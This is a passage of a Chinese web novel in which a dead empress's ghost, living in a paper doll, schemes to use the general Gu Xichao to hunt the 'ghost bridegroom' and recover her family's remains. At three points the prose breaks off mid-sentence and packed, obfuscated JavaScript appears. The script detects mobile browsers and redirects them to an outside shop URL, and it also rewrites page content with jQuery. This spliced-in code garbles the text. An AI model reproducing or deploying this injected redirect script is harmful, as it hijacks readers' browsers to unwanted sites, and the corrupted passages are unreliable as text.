蓟县众人犹豫着退去一旁,渐渐露出正中的棺椁来。 不少人早就怕得要死,只想要速速逃离这座义庄,离开凶邪之地。可他们还来不及动作,身后的两扇大门已戛然合拢。院墙上霎时布满了蓄势待发的弓箭手。 底下的军士们步步紧逼,将蓟县民众和那棺椁围堵在了这小院之中。 顾昔潮冷淡地道: “你们口中的‘鬼相公’,就藏身于此棺之中,顾某请诸位一观。” 算计落空的沈今鸾六神无主,正打算抱头鼠窜找一处躲起来,闻言“啊”了一声。 敢情顾昔潮开棺是要揪出“鬼相公”,不是要将她送入洞房,封入棺中? 沈今鸾舒出一口气,略一沉吟,心头一阵快意油然而生。原来,顾昔潮这是要对付这些人,为她报仇了啊。 被包围的蓟县众人汗毛竖起,大声喝道: “这、这不妥啊!你这是胁迫啊,放我们出去!” 顾昔潮无动于衷,反问道: “有何不妥?诸位不也曾胁迫我夫人,还有那么多无辜女子嫁于鬼相公为妻?” 沈今鸾一愣,低骂道: “谁、谁是你夫人?!” 今日顾昔潮显然是为了破除鬼相公的迷信,才娶了她这个纸人。什么夫人不夫人的,问过她同意没? 顾昔潮充耳不闻,只对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的声音很沉,像是从最深的崖底传来的一声叹息。 可下一刻,叹息落地,化为泡影,声色震摄如电: “且不论当年之事,如今你为一己之私,装作鬼相公,利用迷信草菅人命,我便不可能再放过你。” 顾四叔手掌抵在雪地上,挠出深深的印子,发出不甘的低吼。 顾昔潮神色漠然,袖手道: “北疆边防将士素来严查出入边关之人,唯独在蓟县,鬼相公的喜丧行队,都不敢细查,草草放行。从蓟县到崤山,再抄近道入云州,是一条极佳的逃逸路线。” “近日,你们为了尽快脱身,变本加厉,不惜杀害平民,伪装成鬼相公所为,只为更快逃出关外。” “你杀了蓟县那么多人,血债需得血偿。” 沈今鸾想起前夜的阴婚,那几名逃犯也是躲藏在棺椁之中,却被顾昔潮识破。 那日,顾昔潮杀了所有潜逃之人,不留一个活口。因此,还留在蓟县的逃犯得不到消息,以为他们已成功逃往云州,今日便又故技重施,暗度陈仓,借喜丧出关。 却没料到,顾昔潮早已布下天罗地网。 一众军士得了令,拔出刀来,向网中的顾四叔围了上去。 眼见夺命的刀光一寸一寸逼近,男人疯一般地拨开网绳,朝着顾昔潮的背影大喊道: “九郎,你不就是为了你大哥顾辞山才追杀我那么多年?你大哥,就是沈氏害死的!我、我知道他的尸骨在哪儿!” “顾辞山”这三个字,是沈顾两家,沈今鸾和顾昔潮之间,这一场旷世血海深仇的根源。 一听到那个名字,纸人里的沈今鸾目光骤然一凛。 顾昔潮同时猛地攥紧了手,缓缓地转身,面对着她,素来波澜不惊的的眸底涌起唯有她可见的惊涛骇浪。 这一瞬,沈今鸾感到,顾昔潮是在定定地看着她。 而她,也回望顾昔潮,双目之中,再无遮掩,再无惧色。 这样彼此熟知的目光,只属于当年的皇后和大将军。 光阴如梭,死生如昨,一人一鬼的目光在这一刻交织,不死不休地纠缠在一起。 7. 火烧 顾昔潮的大哥顾辞山,是顾家陇山卫的主将,也曾是她父兄北疆军的同袍。 当年,顾氏和沈氏本是合力抗击北狄大军。到最后,云州被夺,沈氏全军覆没,顾辞山和她父兄的尸骨一道下落不明。 朝中世家大放厥词,说沈氏早已背叛大魏,投奔北狄之前斩草除根,害死了本是前来驰援的顾家大郎。 她的后党反驳,认为北疆军力战云州,顾家大郎却按兵不动,不去救援,本想要独吞战功,却导致北疆一役全线溃败,云州失守。顾辞山自觉难以向天下人交代,干脆畏罪潜逃,销声匿迹。 顾辞山的生死,是当年北疆败局的关键,更是关系到沈氏和顾氏两家的声名荣辱。 双方为此一事相争多年,直至两败俱伤,也一直未有定论。 赵氏祖宅阒寂得可怕。 院中并无风吹,纸新娘的纸皮袖口却不住地颤动,窸窸窣窣作响。 重重刀光之中,沈今鸾的目光死死盯着网缚中的顾四叔。 依他所言,若是顾辞山只剩下一具尸骨,会不会他当年确实驰援了北疆军,最后和她父兄一道死在了云州? 那么,她是不是就可以顺着顾辞山的尸首再找到父兄的遗骨,从此了却执念,得以轮回转世? 沈今鸾仿佛感到有数万条血脉在空荡荡的纸人里流动,沸腾。这一个念头,就像是能让她活活生出了血肉之躯。 她一时忘了自己是鬼魂,无人听得见她说话,忍不住大声道: “别杀他!……让他说。” 那一头,顾昔潮身形似有一瞬的凝滞,他没有回头,刀尖却缓缓垂落在地。 顾四叔见他停住,心知已然击中他的七寸,顿时目露精光,扬声道: “你大哥的下落,如今全天下就我一人知道,你若杀了我,就再也找不到他了!” 顾昔潮回身,眸光冷如利刃,从喉底哼出一声冰冷的讥诮: “你威胁我?” 他侧过身,嗜血的刀尖抵在雪地上,未干的血划出一条长长的撕裂般的红痕,悍然拔刀,直指至亲。 顾四叔见他不为所动,自知不妙,又低声下气地哀求: “别杀我!我带你去找……”他停顿了一下,一字一字吐出,“羌人!是羌人……” 尾音刚落,像是触犯了什么禁忌,院中骤然起了一阵阴风,铺天盖地,席卷而来,好似天降怒火,破山撼地,声震九幽。 就在这时,数十处火杖的焰苗剧烈地摇摆,而后,倏然一下,齐齐湮灭。大片的浓雾骤起,无边黑暗将小小的蓟县尽数包围。 与此同时,一整座破败的赵氏祖宅晃动不止,纸皮糊的灯笼和人形乱飞,满地狼藉,摇摇坠落。 纸新娘若不是被顾昔潮拢在氅衣之中,早就飞去了天边。 沈今鸾感到耳边沙沙作响,像是有什么东西笼罩在半空之中,越来越逼近。混沌之中,她嗅到了一丝不同寻常的气息。 她的神色一下子就变了。 黑雾弥天,不辨天地,大网中的顾四叔似是惊叫一声,像是在呼救,稍后便也没了声息。 足有一刻,天地阴沉如晦,不辨日月。 待浓雾慢慢散去,云消风停,夜空晴朗,院子里的那几条网绳松散四落,而那网中的顾四叔已然凭空消失,不见了。 “人呢?!”骆雄将那大网翻来覆去地看,气得打颤,道,“怎么就不见了,他还能遁地不成?” 顾昔潮面上如覆寒冰,目带血丝,沉声道: “追。” 语罢,他一跃上马,出城追去。 人群早已趁乱落荒而逃,骆雄带着余下的军士们在院子四处探看,不肯放过任何一处蛛丝马迹。 赵宅之中,唯有赵羡和纸人里的沈今鸾还呆立在原地。 沈今鸾一脸呆滞,望向同样呆若木鸡的赵羡。他双目翻白,手指颤舞虚空,口中念念有词: “鬼、鬼相公……” 沈今鸾面色凝重。方才,她所感所闻的,正是鬼气。 人有人的气息,鬼魂自有鬼气。人气温热炽盛,鬼气阴森彻寒,鬼相公这等厉鬼一出现,便让她虚弱的魂魄几近撕裂开去。 望着恨不得将此地翻个底朝天的军士们,沈今鸾哀叹,上一刻她还在利用鬼相公操弄人心,不成想,下一刻,本尊就真的来了。 顾四叔已被鬼相公捉走,活人又怎能轻易找到? 顾昔潮的亲兵还在院中苦寻,赵羡趔趄着奔入正堂中,他握笔的右手颤抖抑制不住,要在黄纸上画符自保。 一阵风入堂,吹落他面前的黄纸,像是一双手拂开了他在画的符咒。 赵羡抬首,纸人已在太师椅上端庄正坐,出声道: “敬山道人,你助我找到鬼相公。” 赵羡后退一步,大惊道: “你在说什么啊?有人假扮鬼相公不假,可方才出现的就是本尊!那可是天地至凶的厉鬼,别的鬼躲还来不及,你一孤魂,再见他一次,怕是就要魂飞魄散了啊……” 沈今鸾面不改色,目光落在了供桌上那樽被顾昔潮劈断的牌位上,了然地道: “你之前说的那个赠我香火的人,原来就是你么?既然有你供奉我香火,我就不会魂飞魄散了罢。” 赵羡急得慌忙摆手,道: “怎会是我,你我萍水相逢,既非至亲,亦非挚爱,我这点香火,怕是对你没什么用。再说了,我与你结缘不过三四天,不过也就给你烧了这数日的香火,那个人可是长年累月,从无间断地供奉你啊。” 沈今鸾面露困惑,与她亲近的沈氏族人大多都死绝了,天下间还有这样的念着她的人吗? 赵羡掐指一算道: “我法力低微,只能大致算出那香火主人应是在你故地,为你焚香。姑娘故乡在何处?那里可还有旧相识?” 沈今鸾失笑。 她生于北疆,长于北疆,又离开北疆十余年,死后故地一切物是人非。没想到,此时,此处,她沈今鸾的旧识,只顾昔潮一人。 他虽在北疆,得知她的死讯应觉大快人心,又怎会为她供奉香火。 赵羡不忍,小声地劝道: “姑娘啊,我不知你心愿为何,趁那人还在供你香火,你尚有魂魄,快快放下执念,去往生罢。” 沈今鸾扬起头,道: “鬼相公带走了我要找的人,我只有找到他,才能了却执念,轮回转世。” 寻不见父兄遗骨,她到死也不能瞑目,所以在人世间飘荡,入不了轮回。 难得有了顾四叔这一条线索,她宁愿冒着魂飞魄散的风险也不愿错过,天涯海角也定要找到他。 赵羡惊魂未定,直直看着纸人,只觉先前还真是小看了这缕虚弱至极的魂魄。 即便她附在他扎得破烂纸人身上,然而举止从容,言辞笃定,竟有一种令他不得不洗耳恭听,俯首称臣的气魄。 赵羡汗颜,又道: “可、可鬼相公是恶鬼啊!他来去无影,又如何能找到他的踪迹?” 沈今鸾不语,只端坐纸人之中,望向正堂最幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280953|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗处,那一方供桌之上,那十九座阴婚女子的灵位。 “我自有办法。”她一一扫过每一座灵位上的名字,目色虔诚。 十九座灵位幽幽矗立,也在无声地凝视着她,香火烟气晃动不止。 “呵——” 一声女子的轻笑从中传来。 “我们告诉你鬼相公的下落,你能帮我们报仇吗?” 十余道虚影在火烛中摇曳,形貌各异,音容婉转。 沈今鸾点点头道: “得我一诺,不论人鬼,此生必践。” 她每问一句,总有一道不同的幽声回应她。 一个时辰过去,沈今鸾细细拼凑着鬼娘子们处得来的线索,终于理清了头绪。 她慢慢阖上眸子,心中稍慰。 已经很近了,依照线索找到鬼相公,抓到顾四,就能问出父兄尸骨的下落。她此生的心愿,就要实现了。 她的魂魄实在太过虚弱,纸皮随风拂动一下,正堂的门忽被猛地打开了。 太师椅倒塌在地,纸人被罩在黑暗之中。 …… “人怎会凭空不见?难道还真见鬼了不成?” 骆雄不死心,率兵将这赵氏祖宅细搜了一遍又一遍,仍是一无所获,连人的毛发都不见一根。 一想到将军苦心孤诣追了这些要犯这么多年,好不容易逮到手了竟然又凭空消失,他又急又气,心中极为不甘。 骆雄颓然坐在了雪地上,目光落在了正堂里的赵羡身上。 只见那道人畏畏缩缩,目光躲闪,时不时抬眸看着他们这些人,颇有几分心虚。 骆雄心生狐疑,大步走过去,一把拎起那道士得衣襟,将整个人提了起来,喝道: “这要犯在你院中平白无故失踪,定然和你脱不了干系!” “你坑蒙拐骗,装神弄鬼也就罢了,若是私藏逃犯,那可是罪加一等!” 赵羡被拎起得双脚离地,声音嘶哑地道出他所知的实情: “他是被鬼相公带走了啊,不关我事啊……” “胡说八道,还想糊弄人!”骆雄一愣,只觉是被戏弄了。 他加重了力道,紧绷的道袍在赵羡的颈边勒出一道红痕: “搜!把他那些糊弄人的鬼东西全搜出来!” “我今日就要将你这套劳什子全烧了,看你再怎么祸害骗人!” 在骆雄一声令下,军士们捡起枯枝支起来作柴火,燃起了一座篝火。 逼仄的巷尾,熊熊火光照亮了密密麻麻的身影。火堆“噼里啪啦”地燃烧,火焰时而窜起数丈高。 军士们从赵氏祖宅中抱出成堆的纸人,纸皮大宅,纸皮喜轿,喜绸白幡,金元宝红盖头,泄愤似的不住朝火堆里扔掷那些喜丧的用具。 方才灵位上的纸人,一个接着一个扔进了火堆旁,那处的火舌很快吞噬过来。 滚滚浓烟之中,最早着火的纸人们一身血红全都褪去了颜色,形状扭曲,如在挣扎,如感痛苦,在火光中渐渐化作一抔漆黑的焦土。 赵羡惊觉,拼命挣脱骆雄的手,趔趄着向那燃烧的火堆爬去,一向胆怯的面上竟有痛意,斥道: “你、你们怎能把那纸人也烧了啊!她只剩这一缕魂魄了啊!” 他话音未落,院外传来一声马嘶,惊破夜穹。 “将军回来了!” 一道黑影已掠过众人,迅疾如电,不惧烈火一般地踏入熊熊火堆之中,直冲向一个纸人。 “将军!”在场所有人大骇,惊喊出了声。 8. 招魂 顾昔潮一路追杀逃犯一无所获,一回到赵宅,就看到了冲天的火光,还有那个将要被投入火中的纸人。 那一瞬间,他心头无数个念头奔流而过,无数次想过抽身离去。 不要过去,他想。 那不过是幻觉。 先前的幻觉里,她穿着嫁衣,与他拜了堂。 这是他经年终而复始的幻梦,这个梦,十年前常做,十年后也做,做了整整十年。 只这一回的梦境虽无比诡异,却又无比真实。 既然是梦,他心想,为何不能放肆一回。于是他放任自己,在众目睽睽之下,平静而又癫狂地,和一个纸人拜了堂。 那次还能视作是为了辟谣破案,是情势所迫,那这一次,就不要再陷入幻觉里了。他对自己道。 那个人,早已经死了十年了。 然而,身体已先于他的意志,作出了决断。 他眼睁睁地看着自己冲入火中,。 所有人陷入懵怔之时,顾昔潮翻腾不息的氅衣,已跨入火中,身下骤然燃起了焰光,一下子窜得老高。 可他好似浑然不觉,直冲到那团火芒前面,长腿一跨,猛然踢开了那侧燃烧的柴火,同时双手伸入火中,将其中那个烧得已近蜷曲的纸人一把捞了起来。 所有形貌相同的纸人当中,他偏偏一眼就选中了那一个。 愣在原地的一众军士醒过神来,飞奔过去,替他褪去烧着的氅衣,猛力扑打还在燃烧的火星子。 顾昔潮提着纸人步入正堂,又将纸人放回了太师椅上后,转身离去,留众人在雪地里茫然无措。 夜深雪重。 顾昔潮没有和军士们一起围着篝火,而是独坐阶前,焦黑的氅衣曳地,覆满皑皑残雪。 茶水沸腾的声音在空寂的院中突突响起,还有一些听不清的人语和鼾鸣。 “要我说,这纸人道士家中遍地都是,烧了便烧了,再让他扎一个便是。将军又是何必?” “你没看到,那个女纸人是将军之前拜过堂的。这么多年,你何曾见他近过女色?没有啊,这可是头一回!竟还只是个纸人!” “你胡说些什么,将军只是为了破除迷信,才在大庭广众之下和纸人成亲吧?” “可我总觉得,将军对那纸人不一般……” 骆雄瞪了窃窃私语的军士们一眼,那几人便不敢再出声了。 他跟了将军十余年,从京都到北疆,哪怕当初接下贬谪北疆的圣旨,将军也不过一笑置之,何时见过他这般反常的模样,活像是见了鬼。 骆雄一面掸去氅衣上烧焦的皮毛,看到被火烧破的箭袖,还有手臂的旧伤,不禁长叹一口气,递上了刚煮好的茶: “近月来北疆雪灾,将军奔驰救灾,不辞辛苦,曾连日不曾合眼。这回才得了那些逃犯的线索,又是马不停蹄追击数夜,还受了伤。” “这一次,又给那人逃了,将军明日起定是又要昼夜不歇地搜查吧?” 顾昔潮点点头,接过茶,抿了一口,微微皱了皱眉,还是一饮而尽。 边关的粗茶,不比京都浓香馥郁,究竟是苦中带涩,毫无回甘之味。即便他困守北疆十年,也已饮了十年,还未习惯,仍是觉得难以下咽。 然而,此刻这缕苦涩萦绕唇间,倒也令他生出几分清醒来。 她活生生地咒骂于他的样子亦是他脑海中的臆想。因为自从淳平十九年之后,她只会冷冷看着他,不发一言,一出手就是杀招。 顾昔潮举目望去,亲卫已四散,小院寂静无声,只余空空荡荡的雪地,阶前积雪又深几寸。 他从磨得发白的襟口取出一支短箫,缓缓吹起了一支调子。 箫声古朴悠远,如水波澹澹,又如群山静默。 骆雄听到箫声先是一愣,而后摇头轻叹。 将军每有心事,都会吹起这首曲子。他曾问起过,将军说,曲子是一位故人所授。 什么故人,让将军十年如一日这般惦念? 骆雄深知,这个时候不能打扰。他睡眼朦胧,倚在门前打起了瞌睡,头顶传来一声低沉的问: “我是否仍在身在梦中?” 像是在喃喃自语。 “这……”骆雄惊醒,挠了挠头,以为他在问自己,呆滞了好一会儿,才迟疑着道,“我想想,我做梦时候,梦中一切都是幻觉,那么打架也不痛,受伤也不疼。” 听到他的回答,箫声戛然而止。 顾昔潮放下了短箫,覆在袖下,置于膝上。 他垂眸,眯起了眼,被火烧着的手臂微微一动。手背上已被火烧出了点点黑色的焦痕。 皮下埋着骨,骨间连着筋。 方才不觉,可是现下,未有一处,不曾生疼。 升腾的热气氤氲了顾昔潮的面容,看不清神情,只见薄韧的唇微微扬起,勾出几许嘲讽的意味。 痛若是真切的,那幻觉,还是幻觉么? …… 灼烧的剧痛渐渐散去,沈今鸾苏醒过来。 身上四处的焰火不见了,纤薄的纸皮被热焰熏得皱了许多,看着更加丑陋扭曲。 方才荒芜的寂静中,飘荡着似有似无的箫声,曲调她有几分熟悉,是她幼时在北疆常听的那一首。 她痛得昏死过去,听着箫声莫名觉得心中很安定。 此时醒来,她的眼帘勉强扯开一道线,看到她身边是赵羡,周围四散着几张符纸,他正在用符纸修补纸人身上的洞眼。 “敬山道人? 赵羡一下子惊醒了,看着空空荡荡的正堂,目光最后落在那个纸人上。 她直挺挺地坐在太师椅上,头颅双肩烧穿了好几个洞,两颊胭脂诡异的红,嘴角僵硬地上扬,似是要朝他挤出一个笑容来。 那细细的声音像是从纸人天灵盖里冒出来,礼貌至极,却不怒自威,似含愤意。 赵羡抚了抚心口,生怕她又要害他,先发制人地道: “哎!你先别动手,是我不顾性命救得你!那些兵真是蛮不讲理,以为我私藏逃犯,就拿你这纸人出了气。幸好我将他们痛斥一顿,才最后救下的你。” 沈今鸾想起,方才被投入火中,魂魄随着纸人焚烧,如万虫噬心,痛苦难耐。在她支撑不住的时候,渐渐闭上的眼缝里好像看到一道身影朝她奔来,紧接着,有双遒劲有力的手紧紧环着她虚无的腰身,将她从一片炽热中捞了出来。 她揉了揉眼,看了一圈这赵宅,家徒四壁,寒风萧瑟。赵羡还在尽心竭力地为她修补纸人,一时间,她被投入火中的愤恨和恐惧顿时泄了气。 赵羡将画好的符咒糊在了纸人头上,补上一个漆黑的窟窿,叹气道: “你这孤魂存于世间本就不易,若是就此消散,实在可惜。我为了蓟县损了阴德多年,救你也算攒下一些功德罢。能救一个,便是一个。” “既然这样,你再帮我一回吧。”沈今鸾道。 赵羡画符的手一顿,惊异地道: “你的魂魄本就虚弱,纸人又被烧得这般惨烈,你现在动一下都困难,又如何能追上那来去无踪的鬼相公?你还是死了这条心罢。” 赵羡苦口婆心,沈今鸾却漫不经心,她看了一眼还留在院中的军士们,眉峰一扬,道: “这不正好有一阵东风么。我正好可借这东风寻人。” 凭她一己之力,茫茫北疆,大海捞针,确实难以寻人。但顾昔潮兵马遍布北疆,一声号令,将整个北疆翻个遍也不过翻手之间,找个人不过探囊取物。 再者,以她这几日来对顾昔潮的观察,就算不为顾辞山,他也会倾尽全力找到那逃犯,斩草除根。 既然目的一致,她略施小计,驱使顾大将军也并非难事。 她虽然极不情愿和顾昔潮合作,但是为了父兄的遗骨,为了早日往生,也只能取这下下之策了。 这边厢,赵羡把头摇得和拨浪鼓似的,好声好气地道: “顾将军可不是好糊弄的。这几日你也看见了,他摆明了一点都不信鬼神,又怎么会相信人被鬼抓走了这套说辞?” 那位将军,即便粗衣布服,也有一股凌烈之气,令人凛然不敢逼视。他可不想再去触霉头。 沈今鸾挑了挑眉,轻浅地道: “就算他不信,我让他信不就成了。道士,你最后助我一次。” …… “大人们是不是在找那逃犯? 骆雄抬头,又见那窝囊道士畏缩的样子。他腾然起身,按住刀,厉声道: “你知道人在哪?” “我不知道,但、但是……”赵羡心一横,豁了出去,大喊道,“她、她们知道。” 所有人下意识地顺着赵羡手指的方向看去。 只见正堂之中,昏暗异常,供桌上香火缭绕,十九座灵位,如层峦叠嶂,威严耸立。每一座牌位之后,各自立着一个纸人,身躯僵硬,面目诡谲,却如有生气。 灵位底下的太师椅上,仍是端坐着那个旧旧的纸新娘。 纸人一身红衣,如血浸染,身侧香火烟云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14280954|151829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缭绕,气度雍华不俗。 “我能招来她们的魂魄,助各位大人找到鬼相公,追凶寻人。” “人有人路,鬼有鬼道。大人们又何妨一试呢?” 赵羡一鼓作气,按照剧本念完了台词,深吸一口气。骆雄怔了怔,又要大骂,却见将军穿过了众军士,疾步走进了正堂。 此时无风,堂前一片帘幕却被吹得翻涌不息。 此时无声,三缕香火袅袅却有细语如同幽咽。 此时无光,纸人空洞双眼却如目光炯炯相望。 赵羡小步走到供桌前,点燃了准备好的三支蜡烛。可怪,哪怕燃了三支蜡烛,堂内依旧昏暗无比。 只见他向供桌前正中的纸人叩首,假意恭恭敬敬地道: “贵人在上,若有回音,烛火为信。” 接着,他装模作样地开始做法,唱诵道: “魂兮归来,魂兮归来——归来,归来!” 忽明忽暗的火光里,骆雄瞄了一眼沉默的将军。 男人立在堂中,双眸沉黑,看不清究竟是在看满堂的神位,还是在看那个诡异的纸人。 不言赞成,不言反对。 骆雄心中惊异,这竟然是默许了,只得退下,再未阻拦。 只见赵羡故作玄虚地烧了一张明黄色的符咒,扔向晦暗的半空,火星子纷纷扬起,散落满地,缓慢地湮灭。 他一面念念有词,一面挥舞着不知哪里来的拂尘,最后大喝一声,问道: “可曾见过鬼相公?” “啪嗒”一声。 阴风吹来,供桌上第一支蜡烛灭了。其余两支纹丝不动。 一阵烟气袅袅飘散,又缓缓聚拢,簇拥在了纸人身边。 不言不语,胜似言语。 这,便是“见过了。” 最末几名军士紧张地握紧了腰际佩刀,手指不住打颤,刀柄发出一声铁器相击的清脆嗡鸣。 骆雄瞪大了眼睛,抱臂在胸,不屑地道: “巧合罢了。” 赵羡继续烧了一张青色符纸,又问道: “鬼相公是否带走了那名逃犯?” 第二支烛焰轻轻颤抖一下,静止不动。 “呵——”骆雄轻嗤一声。 就在众人要舒出一口气时,第二支烛焰一下子灭尽了。 堂内,又暗了几分。 赵羡拾起最后一张符咒,紫缯为底,黑墨作书。他环视一圈,将符咒投入香炉之中,大声道: “可知那逃犯身在何处?” 话音刚落,甚至紫缯符还未燃尽,最后一支蜡烛已倏然熄灭,整间正堂再度陷入无边晦色之中。 没有人敢出声,没有人敢动一下。满堂的人,宛若石像一般静止了。 良久,轮到骆雄结巴了,他手指了指虚空,又收了起来,从来洪亮的声线颤了颤,道: “这、这……将军?” “出去。” 从始至终一言不发的顾昔潮突然令道。 他的语调波镇定如常,一丝颤意也无,甚至还带着一丝疲惫。 众军士尚在懵怔,杵着不动,他又重复了一遍,声音冷厉: “都出去!” 众人这才如梦初醒,如蒙大赦一般退出了正堂,噤若寒蝉。 人走后,正堂两页破漏的大门,也在这时戛然合拢,将这座正堂围作一间暗室。 纸人里的沈今鸾心中窃喜。一场戏便能引得顾昔潮上钩,真是得来全不费工夫。 她轻咳几声,坐直了身子,指了指脚下,命令赵羡道: “你跟他说,我可以帮他找到鬼相公抓回那个逃犯,只要他跪下,在此给我磕三个响头。” 赵羡听得一个头两个大,委婉地转述道: “将军大人,若贵人愿意出手相助,可需小人即刻招魂?” 顾昔潮手持长刀,在供桌之前踱着步子。那一寸刀尖抬起,缓缓移至最后的第十九座灵位旁边,那一处空白的缺口。 正是前日被他劈断的,她沈今鸾的灵位所在。 男人声音低哑,唇角微微的弧度犹似嘲讽笑意,淡淡地道: “此人的魂魄,你也能招来?” 香火摇曳一下,沈今鸾魂魄莫名一颤,茫然之间,男人手中的那一道森寒锋刃已至纸人颈侧,轻柔地拂开乌黑鬓发。 “既是要招魂……” 顾昔潮薄唇微启,气息拂动,每一个字都暗藏杀机: “顾某,只要她的魂魄。” 9. 入局 沈今鸾只需稍稍一动,便能沾染颈上带血的利刃,其上的血腥之息甚至比她的鬼气更为浓烈,擦着她的魂魄尖啸而过。 天知道这些年顾昔潮用这把刀杀了多少人。 她倒是镇定自若,毕竟这辈子没少在顾昔潮之手刀口舔血。 一旁的赵羡情不自禁地打了个冷颤,僵笑道: “将军,那么多鬼娘子都能帮忙,为何独独要招她的魂魄呢?” 沈今鸾屏息以听,感到颈侧那柄刀似是在微微颤动,顾昔潮似有所觉,放下了刀,漫不经心地道: “她,像是一位我多年未见的故人。既然也同在其中,不如请来一见。” 再见一面,好让他再杀她一回吗?沈今鸾恨得纸人骨架咯吱作响,而后,低低冷笑一声。 所幸,顾昔潮这突如其来的一出试探,早就在她算计之中。 毕竟,她生前和他斗了那么多年。 和赵羡布这一场局的最初,沈今鸾便细细谋划过,预测到顾昔潮会走的每一步。 每一步,她都让赵羡熟记于心,倒背如流。 “顾昔潮自小由大儒教导,从不信鬼神。但是,你若以逃犯下落诱他,他为了追凶,不得不病急乱投医,暂信你一回。” 沈今鸾依稀记得,当年在顾辞山死后,顾氏内乱,顾昔潮蛰伏多年,手段狠辣,不惜与亲族决裂,屠戮了不少顾家人,最后才成了陇山顾氏的家主,为元泓所器重,从此青云直上。 多年来,逃亡在外的顾家人定是他心头一根刺,必会不惜一切捉回,杀之后快,永绝后患。 “此为第一步。” 第一步,她算到了顾昔潮会步入正堂,抱着不妨一试的心态冷眼赵羡装神弄鬼。 到时,她只需摧动鬼魂之力,略显神通,便会让顾昔潮动摇几分,再多信几分,直至全然落入她的算计。 难得有一回,她算计他,引他入局,不是要他的命,而是要他帮忙。 “第二步,”她对赵羡道,“顾昔潮此人,与我素有仇怨。你曾供奉我的灵位,我亦是鬼相公阴婚的十九位女子之一,招魂之时,他若指名道姓要招来我的魂魄……” “你便说,我的魂魄太过虚弱,没有香火供奉,阴婚未成,早已魂飞魄散,不存于天地之间了。” 她与顾昔潮的深仇大恨,他毒杀了她还不够,得知她魂魄都已消散,总该不再深究下去,解气了罢。 “到了第三步。你就说,招来的是另一位被迫阴婚的女子。到时候我再为他指路追凶,他追凶一无所获,必会入局一试。” “如此,我的局,便算做成了。” …… 赵氏祖宅的正堂里,香火摇曳,暗光凄迷,像是被一重薄雾笼罩。 赵羡心惊肉跳,默默擦去了额边不断冒出的冷汗。 果如那纸人所料,向来不信鬼神的顾将军为了追凶,走出了第一步,此刻,已到了第二步,点名就要招来她的魂魄。 他脊背僵直,微微屈身,小声道: “大人,我法力低微,这招来谁的魂魄,可不是我说了算的……” 顾昔潮厉眸轻飘飘扫过去,赵羡慌忙改口道: “可以一试!我试试!……” 语罢,他含了一口糟糠酒,手举桃木剑向朱雀玄武方位各舞动一下,猛然往剑身喷了一口酒,念念有词: “天道正法,万念归一。” “魂兮来归——魂兮来归——” 香烛的火焰倏地摇晃一下,赵羡故意跌倒在地,直摇头道: “没、没召来啊。将军,招魂一事,全凭缘分。有的鬼魂愿意来,有的不愿来……” 顾昔潮眉头一皱,忽回身望了纸人一眼,打断了赵羡的话: “她是不愿来?” 岂止是不愿来,她巴不得避得远远的。光看你一眼,都就要折她阴寿好几年。 赵羡把眼一闭,不敢直视男人穿透人心的眸光,直接照本宣科,道: “有的魂魄可能早已去轮回转世,再有的,或许早已魂飞魄散……” “让本道人来算算……”赵羡装模作样掐了掐手指,突然顿住,叹息道: “上穷碧落,下至黄泉,皆无踪迹。” “将军,你要找的这个魂魄啊,早就魂飞魄散了。” 万籁俱静。 香火“倏”地一下湮灭几许,烟气袅袅,将顾昔潮环绕其中,再看不清是何表情,不见是悲是喜,只闻衣袖猎猎飞扬。 一阵长久的沉默之后,他拾起一炷燃烧的线香,目光在跳动的光焰里显得有几分空茫: “魂魄如若魂飞魄散,又是为何?” 听到他这一问,沈今鸾表面声色不动,纸皮的寒毛都要掀起来了,内心暗骂了千百遍。 问得如此精细,这是要确认她魂飞魄散才安心吗?! 赵羡摇了摇头,郑重地道: “人有三魂七魄。人死后,七魄渐散,三魂之中一魂主轮回,一魂附于灵位,一魂守在坟头,一魂入地府投胎转世。” “你问的这个人啊,是一个孤魂,无亲无故,寡情寡心,不见坟头,也不俯灵位,更没有至亲至爱的香火供奉,真是凄惨至极。因此,很快魂魄就消散了,没能轮回往生,也不会有来世了。” 沈今鸾心有戚戚,长长地叹出一口气。 赵羡的话术,是她亲口教的,说得无限凄凉也并非谎言。就是为了让顾昔潮知道,她魂魄都没了,也不会有来世,总不至于下一世还要追着她杀,赶紧死了这条心罢。 “擦——” 很细微的一声,却在寂夜里犹为清晰。 是顾昔潮突然折断手中那段燃烧的香火,像是哪一个字眼触及了他的逆鳞。 火星子灼伤了掌心,香灰碎裂,化为齑粉,消散在黑暗中。他的身影也从缭绕的烟气中走出来。 “你又怎知,她无人供奉?” “非亲族所奉香火,可有用?” 男人冷哼一声,听起来语气冷淡,像是自言自语,字音却咬紧低沉,似是死水下搅动而起的一丝恨意。 沈今鸾怔怔地,不由想起赵羡说过的那个人。仔细想来,应是她幼时认识的哪位不知名的亲属,在北疆十年如一日地烧香供奉她。 因为他,她在这世间,就不再是无人可依的孤魂野鬼。 咦,可顾昔潮突然问这个做什么? 赵羡也是一愣,正正经经地回道: “不是亲族的话……若是心头挚爱,也自然是有用的。能在灵前焚香为更佳。” 